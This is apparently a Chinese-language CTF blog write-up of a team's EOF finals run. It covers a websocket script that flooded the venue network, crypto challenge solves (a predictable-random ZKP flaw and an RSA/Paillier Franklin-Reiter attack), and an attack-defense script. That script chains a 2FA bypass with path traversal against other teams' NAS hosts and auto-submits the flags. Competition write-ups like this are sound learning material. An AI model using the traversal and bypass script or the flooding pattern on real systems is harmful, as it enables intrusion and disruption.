Before all Team: CakeisTheFake Rank: 2 同時也拿了個炸彈超人獎,後續會講為什麼
第二年打 EOF,只能說感覺起來自己能力確實成長不少,相比於去年矇懂的狀態真的好上許多 XD 但還是太菜了,後門被 Ching 笑 QQ 感謝我的隊友 @Flydragon @Aukro @Naup 還有臨時拉來的 @Afan @Chisheng Chen 一起打這場盛事
蛋糕的勝利🥳
Infra 賽前我準備了 Destructive Farm 當 Attack Manager,但開賽後發現好像土炮 while 迴圈交 flag 就好… 另外就是透過 JumpBox 主機跳進比賽內網,開 openvpn 串網路出去 安裝連結們Destructive Farm (LINK) OpenVPN (LINK) 但我顯然不是一個好的賽博水管工,本來沒什麼問題 但開賽後有隊友要 RDP 回家才能連 VPN …
Day 1 這次的賽程很特別,有 A&D, KoH 和 Jeopardy 恩,對,你沒看錯,決賽打 Jeopardy,甚至三題有兩題Crypto 快速介紹一下一開始出來的兩個KoH好了: 3. Bombe: HITCON 的時候奧義就有出的 EDR V.S. Malware 的病毒對決,各個隊伍都要上自己的防毒 & 病毒。其中病毒要完成開檔案,讀取記憶體和連線的功能;防毒則是抓出病毒檔案就好 4. Game: 一款迷宮走路遊戲,可以用未知的方法開寶箱,攻擊對手等,但一開始連方向鍵都是壞的…
5, 6, 7 都是 Jeopardy 我們覺得不急迫就留著當回家作業了
一開始只有 Game 是好的,所以我就先看了 Game,摸索了一陣隊友們好像沒逆出東西就先去看封包了: 最初是本地開 WireShark,但…我們忘記有VPN這東西所以流量被加密過,所以最後我是跳去 Jump Box 錄製 登入流程是:發送 Login 訊息 => Server 回傳 helloworld => 發送 Login 訊息 => 驗證為什麼同樣的東西要發兩次啊 其他資料都好大坨,所以嚴格來說只有分析到走路的封包
不過好消息是:走路也可以拿分數,於是就開始了兩天走路之旅~ 恩,對,一路到第二天我們都還是靠著(開一坨 Process)走路分領先,但不小心炸了會場 90% 的流量 … (抱歉)walker.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 import asyncioimport websocketsimport jsonfrom random import randrangefrom tqdm import trangeimport timeasync def login (websocket, token ): login_message = { "type" : "login" , "data" : {"token" : token} } await websocket.send(json.dumps(login_message)) print ("Login sent once" ) await websocket.send(json.dumps(login_message)) print ("Login sent twice" ) async def send_move_data (websocket, direct ): datas = {'u' : [0 , -1 ], 'd' : [0 , 1 ], 'r' : [1 , 0 ], 'l' : [-1 , 0 ]} for d in datas: move_message = { "type" : "move" , "data" : { "vec" : [randrange(-1 , 1 ), randrange(-1 , 1 )], "facing" : [randrange(-1 , 1 ), randrange(-1 , 1 )] } } time.sleep(0.05 ) await websocket.send(json.dumps(move_message)) print ("Move message sent" ) async def receive_data (websocket ): while True : try : response = await websocket.recv() print (f"Raw response received: {response[:1000 ]} " ) if len (response) > 0 : if response[0 ] == 0x81 : opcode = response[0 ] & 0x0F length = response[1 ] & 0x7F if length == 0x7F : length = int .from_bytes(response[2 :10 ], 'big' ) payload = response[10 :] elif length == 0x7E : length = int .from_bytes(response[2 :4 ], 'big' ) payload = response[4 :] else : payload = response[2 :] try : data = payload.decode('utf-8' ) print (f"Received data: {data} " ) try : json_data = json.loads(data) print (f"JSON data received: {json_data} " ) except json.JSONDecodeError: print (f"Non-JSON data: {data} " ) except UnicodeDecodeError: print ("Failed to decode payload to UTF-8." ) else : print ("Received empty response." ) except Exception as e: print (f"Error receiving data: {e} " ) break async def create_websocket_connection (uri, token ): async with websockets.connect(uri, max_size=10 * 1024 * 1024 ) as websocket: asyncio.create_task(receive_data(websocket)) await login(websocket, token) await asyncio.sleep(2 ) for i in trange(5000 ): await send_move_data(websocket, 'u' ) print ("Login requests completed." ) async def main (): uri = "ws://10.102.100.20:8440" token = "298956eca545bc623493bac595eb72e1" tasks = [] for _ in range (10 ): task = create_websocket_connection(uri, token) tasks.append(task) await asyncio.gather(*tasks) if __name__ == "__main__" : asyncio.run(main())
這就是我們得特別獎的理由 (紫色是我們的流量🫠)
Bmobe 的話大家第一天都在適應,甚至最厲害的 EDR 就是偵測檔案裏有沒有flag1
的字樣,而病毒就是用字串加法混一混檔案而已… 其他就是攻防 A&D 的題目第一天後續也有上,不過比較虧的是當下前三名看不到封包
Day1 晚上 ~ Day2 一開始的 Crypto 之旅 這次 Jeopardy 分數是從 1500 ~ 5000 分動態調分,以比賽最後的分數呈現來講一題 Jeopardy 甚至會抵掉一到兩個 A&D or KoH 的分數…,可以說 Jeopardy 定生死
先上個 Maple 說的話:
我真的信了,甚至一開始還戳到比較難的那題當簡單題
zkdlp chal.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 from Crypto.Util.number import bytes_to_longfrom hashlib import shake_128import os, randomp = 0x2CDE2997126F706BD27498A9FA07E93F321B4932982BC455910FF694160DB5484257D0886EC66E5D7BE59ECFD16AAFF6B5BD57E600FAB97E7CF75D76A7F12BC4619A036ED8787F4508CC7C1FB35689575E007B7DC6B1EECC4B9BC2E91AA31FBE027C62BFF3E2065912591ECC1C361CEEAE75B382F1BD7D967633FD91476A3ABC4AD22CD3372C3FC40C2841B3BC70DAC11E3A6631AB3BE49AB9F748AE9093FBAB15B5457244363F444D146C0ADE84CC1AB0D0CFB2AD329483E957235EDD0085BD2F5CDAFCD77D00622A9DFCD3C0098DCB42C7EF1DEE808E8216F0F0638F51D26614B0C61352A13565098FE60146FF7E46FAEBCB75629DAF517880E36AEEE617B9F q = (p - 1 ) // 2 g = 2 assert pow (g, q, p) == 1 def main (): flag = os.environ.get("FLAG" , "flag{fake_flag}" ) hflag = shake_128(flag.encode()).digest(q.bit_length() // 8 ) x = bytes_to_long(hflag) y = pow (g, x, p) print ("Do you know the flag?" ) print (f"{y = } " ) wins = 0 while wins < 10 : t = int (input ("t = " )) % p if t == 0 : print ("Nope" ) return c = random.randrange(q) print (f"{c = } " ) s = int (input ("s = " )) % q if pow (g, s, p) == t * pow (y, c, p) % p: print ("Hmm, you probably know the flag!" ) wins += 1 else : print ("No, you don't know the flag :(" ) wins = 0 print ("Okay, I am finally convinced that you know the flag:" ) print (flag) if __name__ == "__main__" : main()
整個zkp的邏輯其實沒什麼問題,有問題的會是 random,如果可預測那一開始 t 塞一個 pow(y, c, p)的模逆元,最後 s 大膽輸入 0 就好 翻一下 randrange 的實做就知道他r就是 getrandbits,然後把太大的數丟掉再生一次,而 getrandbits 眾所周知的可預測…嗎? 不,因為今天 q 的大小是 2049 bits,所以不能用一般 32 bits 一組的思維去想,有很多未知項 一開始我的思路是申請十組(極限,因為要有 32*624
bits 的資料),然後賭他跟 getrandbits 一樣,差不多 30, 40 次會有一次是這樣,加上隊友 @Chisheng Chen 說他以前用 z3+塞未知項(32 bits 一組下被丟掉的內容)去打就能過,就把複雜的摳腳本任務給他了 但最後好像出了點問題(SAT Solver 取到一組就會停),反正我們最後是直接申請 30 組,然後把每個中間間格(被丟掉)的 bits 當未知數一起塞給 z3 去處理,差不多每五次會有一次對,挺 feasible 先不上腳本…過於混亂 但…過了 :D
prsa prsa.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 from Crypto.Util.number import getPrime, getRandomRange, bytes_to_longimport osdef keygen (sz ): p = getPrime(sz // 2 ) q = getPrime(sz // 2 ) n = p * q phi = (p - 1 ) * (q - 1 ) e = 0x10001 d = pow (e, -1 , phi) g = 1 + n mu = pow (phi, -1 , n) pk = (n, e, g) sk = (n, d, phi, mu) return pk, sk def rsa_encrypt (pk, m ): n, e, g = pk return pow (m, e, n) def rsa_decrypt (sk, c ): n, d, phi, mu = sk return pow (c, d, n) def paillier_encrypt (pk, m ): n, e, g = pk r = getRandomRange(1 , n) n2 = n * n return (pow (g, m, n2) * pow (r, n, n2)) % n2 def paillier_decrypt (sk, c ): n, d, phi, mu = sk cl = pow (c, phi, n * n) return ((cl - 1 ) // n) * mu % n def rsa_to_paillier (pk, sk, c ): return paillier_encrypt(pk, rsa_decrypt(sk, c)) def paillier_to_rsa (pk, sk, c ): return rsa_encrypt(pk, paillier_decrypt(sk, c)) def pad (m, ln ): pad_ln = ln - len (m) pre = pad_ln // 2 post = pad_ln - pre return os.urandom(pre) + m + os.urandom(post) def main (): pk, sk = keygen(1024 ) flag = os.environ.get("FLAG" , "flag{fake_flag}" ) m = bytes_to_long(pad(flag.encode(), 1024 // 8 - 1 )) c = rsa_encrypt(pk, m) print ("RSA Encrypted Flag:" ) print (f"{c = } " ) for _ in range (48763 ): print ("1. RSA to Paillier" ) print ("2. Paillier to RSA" ) print ("3. Exit" ) choice = int (input ("> " )) if choice == 1 : c = int (input ("c = " )) c = rsa_to_paillier(pk, sk, c) print (f"{c = } " ) elif choice == 2 : c = int (input ("c = " )) c = paillier_to_rsa(pk, sk, c) print (f"{c = } " ) elif choice == 3 : break else : print ("Invalid choice" ) if __name__ == "__main__" : main()
一個 Pailler 同態加密和 RSA 互換的服務,共用公、私鑰 幾個步驟:
leak N:注意到把 paillier_to_rsa
和 rsa_to_paillier
的過程結合在一起能選定任意大於 N 的密文,再重新被 RSA 解密、加密後的值,而這兩個值 mod N 會一樣,也就是他們相減其實是 N 的倍數。
獲得 N 之後就能開始想下一步,注意到 Pailler 加密的特性: 兩個密文相乘進去解密,最後取得的明文是兩者本來的明文相加,推推算式就知道,簡單說是因為 Pailler 對待密文的方法是拿去當指數,$c^m \times c^n=c^{n+m}$ 利用這個特性結合兩個服務,就能 leak flag + 任意數字 RSA 加密後的結果了
Franklin-Reiter Attack:任意相加當然就是它,唯一的點是 e 太大,保險起見要多取幾組轉成多項式後做 Half GCD
前面過於混亂,放主算法:Half GCD 講解 實作參考:https://github.com/rkm0959/Implementations/blob/main/Half_GCD/code.sage
初始 statements 就是 flag-0 ~ flag-9
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 def HGCD (a, b ): if 2 * b.degree() <= a.degree() or a.degree() == 1 : return 1 , 0 , 0 , 1 m = a.degree() // 2 a_top, a_bot = a.quo_rem(x**m) b_top, b_bot = b.quo_rem(x**m) R00, R01, R10, R11 = HGCD(a_top, b_top) c = R00 * a + R01 * b d = R10 * a + R11 * b q, e = c.quo_rem(d) d_top, d_bot = d.quo_rem(x**(m // 2 )) e_top, e_bot = e.quo_rem(x**(m // 2 )) S00, S01, S10, S11 = HGCD(d_top, e_top) RET00 = S01 * R00 + (S00 - q * S01) * R10 RET01 = S01 * R01 + (S00 - q * S01) * R11 RET10 = S11 * R00 + (S10 - q * S11) * R10 RET11 = S11 * R01 + (S10 - q * S11) * R11 return RET00, RET01, RET10, RET11 def GCD (a, b ): print (a.degree(), b.degree()) q, r = a.quo_rem(b) if r == 0 : return b R00, R01, R10, R11 = HGCD(a, b) c = R00 * a + R01 * b d = R10 * a + R11 * b if d == 0 : return c.monic() q, r = c.quo_rem(d) if r == 0 : return d return GCD(d, r) P = PolynomialRing(Zmod(n), names=('x' ,)); (x,) = P._first_ngens(1 ) statements = [(x + i)**e - j for i, j in statements] k = statements[0 ] for i, st in enumerate (statements[1 :]): print (i) k = GCD(st, k) k = k.monic() flag = -k[0 ] print (flag)print (long_to_bytes(int (flag)))
基本上就是這樣,然後我一路到三點才睡覺…(但 已經是最早睡的了)
半夜作業局.jpg
Day 2 這次的 A&D 有兩題,一個筆電電商和一個 NAS 電商:https://github.com/users/Bogay/packages/container/package/aiscop3
電商一開始幾乎是黑箱,但 Dockerfile 載一下就有 ✅
是不是在偷臭啊,裡面甚至有個叫做 excel-pay 的執行檔 反正第二天就先藏 Jeopardy 的 flag,讓自己的排名摔出前三才能看封包,一開始可能是網路 issue 甚至連 NAS 的 ip 都沒掃出來… 比較有趣的是這次的 Patch,電商只能 Patch LUA 寫成的 WAF,我看大家都沒 Patch,然後 NAS 可能是洞太多所以兩招 LFI + CMDI 就能打天下…大家也都不 Patch 惹 快速帶一下 NAS 登入繞過 2FA 的部分:app.php
1 2 3 4 5 6 7 8 if (!isset ($_SESSION ['username' ])) { header ('Location: login.php' ); die (); } else if (($_SESSION ['TWOFA' ] <=> 0 ) < 0 ) { header ('Location: 2fa.php' ); die (); }
無效 2FA,三一律一定都能過 … 驗證繞過後就是開心讀檔:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 import requestsimport subprocessimport reimport requestsimport jsondef attack (host ): url = f'http://{host} :5000/login.php' boundary = '----WebKitFormBoundary7MA4YWxkTrZu0gW' headers = { 'Content-Type' : f'multipart/form-data; boundary={boundary} ' } data = ( f'--{boundary} \r\n' f'Content-Disposition: form-data; name="username"\r\n\r\n' f'user\r\n' f'--{boundary} \r\n' f'Content-Disposition: form-data; name="password"\r\n\r\n' f'user\r\n' f'--{boundary} --\r\n' ) sess = requests.session() try : response = sess.post(url, headers=headers, data=data, timeout=5 ) except Exception as e: print (f"[*] Team {i} failed" ) return ' ' response = sess.get(f'http://{host} :5000/app.php?app=files/download&volume=public&dir=../../../..&file=fl4g' , timeout=5 ) print (response.text) return response.text target_url = "http://35.221.181.38:8888/flag/" token = "298956eca545bc623493bac595eb72e1" for i in range (1 , 13 ): host=f"10.102.{i} .60" print (i) if i == 4 : continue stdout_data = attack(host) pattern = r"EOF[a-zA-Z0-9]{29}" match = re.search(pattern, stdout_data) if match : flag = match .group(0 ) print (f"Found Flag: {flag} " , flush=True ) payload = { "flags" : [flag], "token" : token } response = requests.post(target_url, json=payload) print (response.text) if response.status_code == 200 : print (f"Flag Submitted: {target_url} " ) else : print (f"Submit Failed: {response.status_code} " ) else : print ("Not Found Flag QwQ" )
最後幾件事: 3. Game 其實是要用自己當下有的道具的 Byte 組合出 ARM 組語完成任務來取得分數 4. Jeopardy 最後一題 pwn 要 SQLI,改變大小 Overlapping 打 Tcache Poisoning,其實我有通靈出來但, @ Aukro 當下逆好像沒看到能這樣利用的點?!
午餐
晚餐
After all 這次比賽比想像中肝,但好像也蠻愜意?? 再次寫寫各位隊友和用心的主辦方 我玩得很開心! 順便帶走一件 DEFCON 衣服當獎品 w,不知道之後打不打的到…加油加油! 最後分數版, Crypto 和散步大成功